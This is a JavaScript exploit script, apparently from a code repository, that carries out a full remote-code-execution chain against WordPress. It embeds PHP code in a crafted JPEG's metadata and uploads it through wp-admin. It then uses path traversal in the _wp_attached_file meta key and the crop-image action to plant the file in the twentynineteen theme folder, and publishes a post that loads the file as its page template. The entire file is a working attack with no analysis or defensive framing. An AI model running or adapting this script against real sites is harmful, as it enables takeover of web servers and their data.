119 lines
No EOL
7.5 KiB
JavaScript
119 lines
No EOL
7.5 KiB
JavaScript
var wpnonce = '';
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var ajaxnonce = '';
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var wp_attached_file = '';
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var imgurl = '';
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var postajaxdata = '';
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var post_id = 0;
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var cmd = '<?php phpinfo();/*';
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var cmdlen = cmd.length
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var payload = '\xff\xd8\xff\xed\x004Photoshop 3.0\x008BIM\x04\x04'+'\x00'.repeat(5)+'\x17\x1c\x02\x05\x00\x07PAYLOAD\x00\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00`\x00`\x00\x00\xff\xdb\x00C\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06\x07\x07\x06\x08\x0a\x10\x0a\x0a\x09\x09\x0a\x14\x0e\x0f\x0c\x10\x17\x14\x18\x18\x17\x14\x16\x16\x1a\x1d%\x1f\x1a\x1b#\x1c\x16\x16 , #&\x27)*)\x19\x1f-0-(0%()(\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x00\x01'+'\x00'.repeat(15)+'\x08\xff\xc4\x00\x14\x10\x01'+'\x00'.repeat(16)+'\xff\xda\x00\x08\x01\x01\x00\x00?\x00T\xbf\xff\xd9';
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var img = payload.replace('\x07PAYLOAD', String.fromCharCode(cmdlen) + cmd);
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var byteArray = Uint8Array.from(img, function(c){return c.codePointAt(0);});
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var attachurl = '/wp-admin/media-new.php';
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var uploadurl = '/wp-admin/async-upload.php';
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var editattachurl = '/wp-admin/post.php?post=PID&action=edit';
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var editposturl = '/wp-admin/post.php';
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var addposturl = '/wp-admin/post-new.php';
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var cropurl = '/wp-admin/admin-ajax.php';
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console.log("Get wpnonce token.");
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jQuery.get(attachurl, function(data) {
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wpnonce = jQuery(data).find('#file-form #_wpnonce').val();
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if(wpnonce) {
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console.log("Success! wpnonce: " + wpnonce);
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var postdata = new FormData();
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postdata.append('name', 'ebaldremal.jpg');
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postdata.append('post_id', post_id);
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postdata.append('_wpnonce', wpnonce);
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postdata.append('short', 1);
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// file
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var phpimage = new File([byteArray], 'ebaldremal.jpg');
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postdata.append('async-upload', phpimage);
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console.log("Upload image with shell.");
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jQuery.ajax({
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url: uploadurl,
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data: postdata,
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cache: false,
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contentType: false,
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processData: false,
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method: 'POST',
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success: function(data){
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if(jQuery.isNumeric(data)) {
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post_id = data;
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console.log("Success! Attach ID: " + post_id);
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console.log("Get wpnonce for edit post, ajax_nonce for crop and URL for fun.");
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jQuery.get(editattachurl.replace('PID', post_id), function(data) {
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var btnid = "#imgedit-open-btn-" + post_id;
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wpnonce = jQuery(data).find('#post #_wpnonce').val();
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ajaxnonce = jQuery(data).find(btnid).attr('onclick').match(/[a-f0-9]{10}/)[0];
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imgurl = new URL(jQuery(data).find('#attachment_url').val());
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wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/any";
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console.log("Success! wpnonce: " + wpnonce + ", ajaxnonce: " + ajaxnonce);
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if(wpnonce && ajaxnonce) {
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console.log("Update _wp_attached_file meta key to: " + wp_attached_file);
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postdata = {
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'_wpnonce': wpnonce,
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'action': 'editpost',
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'post_ID': post_id,
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'meta_input[_wp_attached_file]': wp_attached_file
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}
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jQuery.post(editposturl, postdata, function(data){
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console.log("Success!");
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console.log("Crop image for create help folder.");
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postajaxdata = {
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'_ajax_nonce': ajaxnonce,
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'action': 'crop-image',
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'id': post_id,
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'cropDetails[width]': 1,
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'cropDetails[height]': 1
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}
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jQuery.post(cropurl, postajaxdata, function(data){
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console.log("Success! Help directory created.");
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wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/../../../../themes/twentynineteen/owned";
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console.log("Update _wp_attached_file meta key to: " + wp_attached_file);
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postdata = {
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'_wpnonce': wpnonce,
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'action': 'editpost',
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'post_ID': post_id,
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'meta_input[_wp_attached_file]': wp_attached_file
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}
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jQuery.post(editposturl, postdata, function(data){
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console.log("Success!");
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console.log("Crop image for create evil jpg image inside twentynineteen theme folder.");
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jQuery.post(cropurl, postajaxdata, function(data){
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console.log("Success!");
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console.log("Get wpnonce for create new post.");
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jQuery.get(addposturl, function(data){
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console.log("Create new post and use evil jpg image as template.");
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if(jQuery(data).find('form.metabox-base-form').length) {
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wpnonce = jQuery(data).find('form.metabox-base-form #_wpnonce').val();
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post_id = jQuery(data).find('form.metabox-base-form #post_ID').val();
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} else {
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wpnonce = jQuery(data).find('#post #_wpnonce').val();
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post_id = jQuery(data).find('#post #post_ID').val();
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}
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postdata = {
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'_wpnonce': wpnonce,
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'action': 'editpost',
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'post_ID': post_id,
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'post_title': 'RCE-HERE',
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'visibility': 'public',
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'publish': 'Publish',
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'meta_input[_wp_page_template]': 'cropped-owned.jpg'
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}
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jQuery.post(editposturl, postdata, function(data){
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console.log("Success! Browse post with id = " + post_id + " to trigger RCE.")
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console.log("Trying to open: " + imgurl.origin + "/?p=" + post_id + ")");
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window.open(imgurl.origin + "/?p=" + post_id, '_blank');
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});
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});
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});
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});
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});
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});
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}
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});
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}
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}
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});
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}
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}); |